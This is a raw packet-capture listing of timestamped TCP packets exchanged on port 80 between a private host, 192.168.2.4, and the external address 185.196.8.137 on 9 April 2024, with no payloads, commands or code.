Apr 9, 2024 14:54:05.274106979 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274128914 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274264097 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274329901 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274409056 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274475098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274513960 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274569035 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274626017 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274800062 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274805069 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274849892 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274863005 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274902105 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.274924994 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274962902 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274977922 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275022030 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275038958 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275077105 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275089979 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275116920 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275135994 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275180101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275218010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275254965 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275290966 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275293112 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275311947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275352955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275357962 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275403023 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275429010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275490999 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275515079 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275566101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275577068 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275633097 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275654078 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275717020 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275747061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275765896 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275773048 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275825977 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275862932 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275911093 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.275928020 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.275976896 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276004076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276055098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276072979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276118994 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276138067 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276176929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276181936 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276259899 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276309967 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276315928 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276365995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276400089 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276449919 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276470900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276521921 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276551008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276607037 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276709080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276730061 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276760101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276792049 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276808977 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276904106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.276923895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276958942 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.276969910 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277028084 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277040005 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277067900 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277101994 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277122021 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277148962 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277184010 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277203083 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277249098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277250051 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277306080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277327061 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277345896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277391911 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277482986 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277529955 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277566910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277653933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277704000 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277730942 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277795076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277811050 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277843952 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277879000 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277928114 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.277935028 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.277982950 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278007030 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278040886 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278083086 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278094053 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278104067 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278142929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278192043 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278230906 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278281927 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278311968 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278361082 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278386116 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278431892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278469086 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278513908 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278551102 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278605938 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278655052 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278702021 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278753042 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278799057 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278836012 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278896093 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.278923988 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.278980970 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279032946 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279083967 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279122114 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279175997 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279203892 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279237986 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279253006 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279285908 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279320002 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279354095 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279388905 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279423952 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279431105 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279511929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279563904 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279599905 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279645920 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279684067 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279727936 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279743910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279788017 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279798985 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279865980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279905081 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279905081 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279923916 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.279970884 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.279997110 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.280040979 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.280065060 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.280143976 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.288233042 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.288260937 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.288395882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.288491011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.289150953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.289613008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.293020010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.294349909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.294765949 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.294792891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.295763016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.295785904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.381360054 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.382417917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.382417917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445450068 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445516109 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445559025 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445597887 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445593119 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445640087 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445668936 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445668936 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445684910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445698023 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445724964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445736885 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445763111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445770025 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445801973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445816040 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445841074 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445858955 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445878983 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445894003 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445918083 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445940018 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445955992 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.445960999 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.445995092 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446007967 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446037054 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446049929 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446077108 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446091890 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446115971 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446132898 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446156979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446168900 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446194887 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446228981 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446234941 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446249962 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446271896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446285963 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446311951 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446350098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446372986 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446391106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446394920 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446429014 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446445942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446466923 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446481943 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446506023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446525097 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446546078 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446566105 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446584940 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446599007 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446621895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446638107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446661949 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446671963 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446700096 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446716070 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446738958 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446754932 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446778059 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446793079 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446815014 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446835041 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446855068 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446868896 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446894884 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446903944 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446934938 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446953058 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.446973085 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.446980000 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447011948 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447026968 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447052002 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447067976 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447092056 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447104931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447129965 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447148085 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447170019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447186947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447207928 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447230101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447253942 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447254896 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447293997 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447310925 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447333097 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447349072 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447371960 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447410107 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447412014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447412014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447448015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447458029 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447489023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447500944 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447527885 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447545052 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447565079 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447586060 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447602987 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447612047 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447640896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447655916 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447679996 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447694063 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447716951 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447724104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447757006 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447770119 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447796106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447812080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447833061 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447850943 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447873116 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447877884 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447912931 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447930098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447952032 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.447966099 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.447989941 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448010921 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448029995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448039055 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448069096 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448082924 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448107958 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448122025 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448147058 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448165894 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448184967 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448194027 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448235989 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448255062 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448292971 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448308945 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448331118 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448369026 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448373079 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448373079 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448405981 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448415995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448445082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448456049 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448484898 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448558092 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448596001 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448604107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448633909 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448651075 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448673010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448684931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448712111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448725939 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448751926 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448771954 CEST	49741	80	192.168.2.4	185.196.8.137
